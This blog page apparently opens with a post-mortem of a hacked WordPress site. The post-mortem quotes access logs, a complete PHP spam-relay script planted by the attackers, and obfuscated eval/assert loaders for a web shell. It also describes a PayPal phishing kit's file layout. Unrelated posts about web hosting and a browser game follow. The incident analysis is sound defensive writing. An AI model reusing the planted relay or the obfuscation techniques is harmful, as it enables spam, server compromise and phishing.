I don't actually understand what the units of the Y axis are

Well, so my blog got hacked. Even more unfortunate is that I can’t seem to locate any trace of what it looked like when it was hacked. I guess that’s the problem when you write a post-mortem literally a year after the original incident.

All that’s left is some eerie hints that something happened.

My blog was averaging around 350MB of bandwidth per day, when suddenly on June 6th, it started to spike. In fact, between June 6th and 7th, it used a total of over 40GB of bandwidth. It had eaten through my entire monthly bandwidth quota.

At 6:48pm on June 7th, I had discovered that something was going on with my blog and started the process of fixing it. I looked through some of the access logs and saw a particular abundance of a strange file pffam.php

91.234.164.143 - - [07/Jun/2014:05:07:18 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"
78.26.204.99 - - [07/Jun/2014:05:07:19 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"
46.173.111.151 - - [07/Jun/2014:05:07:21 -0400] "POST /wp/wp-content/themes/carrington-woot/pffam.php HTTP/1.1" 500 7309 "-" "Mozilla/3.0 (compatible; Indy Library)"

Presumably pffam.php was the bit of malicious code which was injected onto my server, acting as a nice endpoint for recieving and executing particular actions. It seems that Indy Library is some sort of .NET library which implements HTTP.

It’s interesting that the endpoint is being hit by multiple IP addresses, and they all seem to geolocate to Eastern European countries. Presumably they’ve built some sort of graphical Command & Control panel out of Visual Basic or something.

Unfortunately, it looks like I replaced the entire wordpress installation with an older backup— so I don’t actually have any copies of pffam.php. But it managed to use 40GB of bandwidth, and hackers are hardly keen on keeping all their eggs in one bucket, so surely there must have been other endpoints— right?

Sure enough, there’s another endpoint:

109.87.224.22 - - [06/Jun/2014:21:18:06 -0400] "POST /ajaxanimator/stick2-old/jsgif/Demos/dswbk.php HTTP/1.1" 200 4 "-" "Mozilla/3.0 (compatible; Indy Library)"

And it looks like it was buried underneath enough files that I hadn’t noticed and deleted it— woot? In fact there’s actually a number of fascinating files and folders in that directory

├── IT2_9z38yd
├── PwdbqQ3nh0
├── SLn30gBqqv
├── SPIFBSYgsr
├── UXLPRmw9YY
├── XviRYdmJ4H
├── baZn0aynkw
├── bosa.php
├── dibdt.php
├── dswbk.php
├── fr1.php
├── hummjvq.php
├── ptRiJiayze
│   ├── VjQauM_3Ev
│   │   ├── btn_bg_sprite.gif
│   │   ├── cv_amex_card.gif
│   │   ├── cv_card.gif
│   │   ├── de-security-hero.png
│   │   ├── form.css
│   │   ├── form.dat
│   │   ├── form.php
│   │   ├── help.jpg
│   │   ├── help2.html
│   │   ├── hr-gradient-sprite.png
│   │   ├── ie6.css
│   │   ├── ie7.css
│   │   ├── ie8.css
│   │   ├── index.css
│   │   ├── index.dat
│   │   ├── index.php
│   │   ├── interior-gradient-bottom.png
│   │   ├── interior-gradient-top.png
│   │   ├── jquery.creditCardValidator.js
│   │   ├── jquery.min.js
│   │   ├── jquery.validationEngine-de.js
│   │   ├── jquery.validationEngine.js
│   │   ├── leftknob.png
│   │   ├── loading.css
│   │   ├── loading.php
│   │   ├── logo_paypal_106x29.png
│   │   ├── mid.swf
│   │   ├── midopt.swf
│   │   ├── mini_cvv2.gif
│   │   ├── nav_sprite.gif
│   │   ├── paypal_logo.gif
│   │   ├── pp_favicon_x.ico
│   │   ├── scr_arrow_4x6.gif
│   │   ├── scr_backgradient_1x250.gif
│   │   ├── scr_content-bkgd.png
│   │   ├── scr_gray-bkgd.png
│   │   ├── scr_gray-bkgd_001.png
│   │   ├── secure_lock_2.gif
│   │   ├── sprite_flag_22x16.png
│   │   ├── sprite_header_footer_94.png
│   │   ├── sprite_ia.png
│   │   ├── sprite_ia_001.png
│   │   ├── validationEngine.jquery.css
│   │   ├── verify
│   │   └── vertical-gradient-sprite.png
│   └── verification
├── sthy.php
├── vlizzvij.php
├── x4MslaR1CW
│   ├── BN3R5U8sF5
│   │   ├── btn_bg_sprite.gif
│   │   ├── cv_amex_card.gif
│   │   ├── cv_card.gif
│   │   ├── de-security-hero.png
│   │   ├── form.css
│   │   ├── form.dat
│   │   ├── form.php
│   │   ├── help.jpg
│   │   ├── help2.html
│   │   ├── hr-gradient-sprite.png
│   │   ├── ie6.css
│   │   ├── ie7.css
│   │   ├── ie8.css
│   │   ├── index.css
│   │   ├── index.dat
│   │   ├── index.php
│   │   ├── interior-gradient-bottom.png
│   │   ├── interior-gradient-top.png
│   │   ├── jquery.creditCardValidator.js
│   │   ├── jquery.min.js
│   │   ├── jquery.validationEngine-de.js
│   │   ├── jquery.validationEngine.js
│   │   ├── leftknob.png
│   │   ├── loading.css
│   │   ├── loading.php
│   │   ├── logo_paypal_106x29.png
│   │   ├── mid.swf
│   │   ├── midopt.swf
│   │   ├── mini_cvv2.gif
│   │   ├── nav_sprite.gif
│   │   ├── paypal_logo.gif
│   │   ├── pp_favicon_x.ico
│   │   ├── scr_arrow_4x6.gif
│   │   ├── scr_backgradient_1x250.gif
│   │   ├── scr_content-bkgd.png
│   │   ├── scr_gray-bkgd.png
│   │   ├── scr_gray-bkgd_001.png
│   │   ├── secure_lock_2.gif
│   │   ├── sprite_flag_22x16.png
│   │   ├── sprite_header_footer_94.png
│   │   ├── sprite_ia.png
│   │   ├── sprite_ia_001.png
│   │   ├── validationEngine.jquery.css
│   │   ├── verify
│   │   └── vertical-gradient-sprite.png
│   └── verification
├── xstyles.php
└── yl27ceCuPh

So it looks like most of these folders are actually empty, and a lot of the rest of the top level PHP files are the same.

It seems that bosa.php, dibdt.php, dswbk.php, hummjvq.php, sthy.php, and vlizzvij.php are identical.

<?php
$to      = stripslashes($_POST["to_address"]);
$BCC      = stripslashes($_POST["BCC"]);
$subject = stripslashes($_POST["subject"]);
$message = stripslashes($_POST["body"]);
$from_address = stripslashes($_POST["from_address"]);
$from_name = stripslashes($_POST["from_name"]); 
$contenttype = $_POST["type"];


if (strlen($from_address) > 3)
{
$header = "MIME-Version: 1.0\r\n";
$header .= "Content-Type: text/$contenttype\r\n";
$header .=  "From: $from_name <$from_address>\r\n";
$header .=  "Reply-To: $from_name <$from_address>\r\n";
$header .= "Subject: $subject\r\n";

$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message), stripslashes($header));
}
else
{
$result = mail(stripslashes($to), stripslashes($subject), stripslashes($message));
}




if($result)
{
echo 'good';
}
else
{
    'error : '.$result;
}
?>

I’m guessing that it’s being used to send spam messages to different people using the PHP mail() function.

More interesting is fr1.php, which is obfuscated as a giant base 64 encoded gzipped string.

eval(gzinflate(base64_decode('HZzHkoTKkkQ/591r...h/Pp/jc/L/+59///33f/4f')));

So to see what went inside, I stuck it in a different file and replaced the eval with echo. The first time I ran it, I had a bit of a double take because the result looked like this:

eval(gzinflate(base64_decode('FZ23kuNKtkU/Z+4NGN...gRP6r//+ffff//v/wE=')));

And if two times isn’t sufficiently meta, this happens a third

eval(gzinflate(base64_decode('FZy3buRaFkU/Z94DA3q...GAfkEQPM8TBK/yP//+++9//w8=')));

A fourth…

eval(gzinflate(base64_decode('HZ3HkqPqlkYf554TDPAuO...7fM8QRAFr//+9z///vvv//wf')));

fifth…

eval(gzinflate(base64_decode('FZzHjuNaskU/p+8FB/...qAgCFAAAIIgiYKX8N///Pvvv//3/w==')));

sixth…

eval(gzinflate(base64_decode('FZzHbuvKtkU/554...L63//+8++///73/wE=')));

seventh…

echo(gzinflate(base64_decode('FZ3HbuRKEkU/Z94...4nCAI0SDH/+ffff//7fw==')));

Actually, it goes on 40 more times, like a demented matroyshka doll. It’s not UTF-8 encoded, so I had to guess a handful of encodings before discovering that it was what Sublime Text calls “Cyrillic (Windows 1251)”. It’s 1500 lines, so I’ve posted it in a Gist rather than sticking it inline here.

I skimmed through the code and it seemed relatively safe— or at least it didn’t seem to plant any rootkits or start any persistent processes. So I ran it and got a screenshot. It seems to call itself “C99madShell v. 3.0 BLOG edition.php”

The other distinct file, xstyles.php seems to be a little more unique.

<?php 

$n = 'ss';
$r ="rt";
$a = "a";
$y='e';
$q = $a.$n.$y.$r;

$v = '5b17fxo30zD8d/Ip5C3tQoMx4CRXYgx...8B';

@$q("e"."va"."l('\x65\x76\x61\x6c\x28\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x24\x76\x29\x29\x29\x3b');");

So what does it do? Well, the first part basically just assembles q with the value “assert”.

bool assert ( mixed $assertion [, string $description ] )

When PHP’s built-in assert function is passed a string $assertion, it evaluates that string. It’s less known than eval so this is plausibly useful for evading firewalls of a certain sort. So what it finally translates to is:

assert("eval('eval(gzinflate(base64_decode($v)));');")

The decoded file starts out like this:

<?php
$auth_pass = "cef26cef9c9fdbdb49363368c8921635";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

I searched around for the password, but nobody’s yet been able to find a matching plaintext. However, along the way I found out about PHPDecoder which would have saved quite a bit of time an hour ago.

This one is also 1500 lines, so I’ve posted it in another Gist. This one looks aesthetically a bit nicer— if it’s not too weird to complement the tools of the people who hacked your website.

There’s one (hah, pun not intended) folder entitled 1/ which is particularly interesting. It has three subdirectories: configweb, sym, and tumdizin.

Configweb seems to be a directory filled with symlinks to 9414 distinct configuration files, each of them residing on someone else’s home directory. It encompasses lots of different software packages including Joomla, Wordpress, Zencart, SMF, WHM, OSCommerce, VBulletin and ore.

The directory sym seems to just contain a symlink entitled root to— you guessed it— /.

And finally tumdizin seems to link to the web roots of 116 distinct shared hosting accounts which happen to reside on the same server.

There’s also that folders which blow up in the tree x4MslaR1CW, and ptRiJiayze. You can probably guess by files like logo_paypal_106x29.png that this site got turned essentially into a phishing website for Paypal. I’m actually rather amazed that the result looks so plausible.

However, it seems that there was some weird activity going on starting a few days before the massive traffic. There’s an error_log file which seems to grow pretty slowly in general. There was a fairly large stretch from January to June with no errors— and then it seemed to constantly encounter these errors leading up to the traffic spike.

[03-Jun-2014 17:06:05 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at /home/antimatt/public_html/wp/wp-rss.php(1) : eval()'d code:1) in /home/antimatt/public_html/wp/wp-includes/pluggable.php on line 1121
[04-Jun-2014 19:31:54 UTC] PHP Warning:  include(images/settings.php): failed to open stream: No such file or directory in /home/antimatt/public_html/wp/wp-content/themes/carrington-woot/footer.php on line 24
[04-Jun-2014 19:31:54 UTC] PHP Warning:  include(images/settings.php): failed to open stream: No such file or directory in /home/antimatt/public_html/wp/wp-content/themes/carrington-woot/footer.php on line 24

I ended up downloading a daily backup of the server which was taken before it was hacked (June 1, 2014) and installing it onto a small virtual machine. I downloaded a Wordpress plugin for exporting the entire website as static HTML pages and uploaded it to Github pages. This served as a stop-gap measure for almost an entire year while I was getting the new site to work.

This experience is largely why I decided that this new incarnation would be a static site— essentially free from the perils that come with a dynamic website. It’s not like the old version used dynamic content to much advantage anyway, it was cached enough that it was practically static anyway.

1LlLi

I haven’t been particularly raving about Hostmonster for the near two years I’ve been a customer of their’s, and it’s time for a change. In the past week, I moved to a new web host. As of this moment, I’m using Bitcable, specifically the cheapest shared plan plus another discount. I’ve had my share of gripes about the service, but speed and reliability so far have not been among them. I discovered Bitcable through a friend who knew a friend who operated a web host, well, primarily a VPS service. Over a fair amount of begging for a VPS discount, I decided to try out their (I always find it awkward when referring to companies or services as a plural in spite of knowledge that it’s pretty much a one-man-show, but that makes it all the more impressive) shared plan, since that was analogous whatever I was paying for with Hostmonster. And anyway, for $2/mo, how bad can it get?

That question was a tad misleading, so far, Bitcable’s pretty awesome. Part of the thing about using a service from a friend-of-a-friend (FOAF, if I ever need to use an acronym later on in this post, but I’ll keep it here just because it’s a fun thing to say) is that you can get some pretty good support over some random communication channels. It’s small enough that he doesn’t oversell, and the performance really shows through.

I did, however have some issues with the configuration of the server. The first issue is that by default, shared customers don’t get SFTP access. That’s pretty annoying because I’ve recently fallen in love with passwordless login using public keys. I sent an angry support ticket and it was enabled soon enough. But a much more pressing issue was that soon after my migration, there was some long server outage due to some power supply failure (which thankfully, since it took over a month to write this post which is more indicative of the bad state that my blog is in than the host, hasn’t happened again, I haven’t noticed a minute of downtime since then and I’ve set uptime monitors to ensure that).

So yeah, I’ll be on this host for the foreseeable future.

Note: This is likely the first AND last release Ever. I’m gonna go on working on Ax v0.2 after this is finished (tomorrow)

I think its finally ready for showing people (still proprietary though :P). It is coded using Ajax/Long-Polling Comet, which as far as I’m concerned, is the first of it’s kind. It uses ExtJS for its user interface. it’s page load is ~2mb in size, and there is a huge amount of static data handled. Its following how most my apps are made: using the most client side code possible. I donno why, but it just is.

Since it uses Comet technology (specifically, long-polling), the requests made are minimized, and supposedly much more scalable. Requests are only made when necessary, and due to Comet technology, it only updates when there is something to update.

Since most of the processing is done on the client side, the server only has to handle the static content.

An interesting, albeit geeky feature, is a sort of command-line functionality. I attempted to build the entire system (somewhat like a Unix system) where most if not everything graphical is backed by a set of commands. Well, the real-time chatbox (which again, uses comet to reduce load on servers) detects if the input starts with the > character. if it does, then it parses it as a set of commands. Its relatively smart, so if you type in a global variable name, i’ll give you a JSON dump of the contents, and if its a function, i’ll call it, and if it is an expression then it’ll eval it.

There is no such plotline yet. Just random stuff that pops in my head (read: iWorld) and etc. there is also no title yet. (named: “Untitled”). Part of the game itself, is to build the game, using its built-in pixel-sprite-graphics editor.

Currently, it is restricted to modern browsers only. Firefox being my development platform (duh. what kind of js developer doesn’t use firefox/firebug? but i heard the IE8 dev toolbar is good cause its a clone of firebug..) will obviously work best. IE may or may not work. though platform agnosticism was one of the design goals. Opera/Safari is likely, but i’m not certain. most mobile browsers will fail (i tried apple iphone safari support, but it is weird around ExtJS)

It has some features, such as a relatively nice UI (well… nice compared to the others). Session saving, worlds, sprite/npc authoring, Character IDE, npc battles, pvp, store, panning, prelimary quests, items, friends, magic/abilities, a CLI, some crappy code, moderation, adminstration, etc.

Oh, and the password is “password” in case you wanna make new sprites. The URL is http://cometrpg.110mb.com/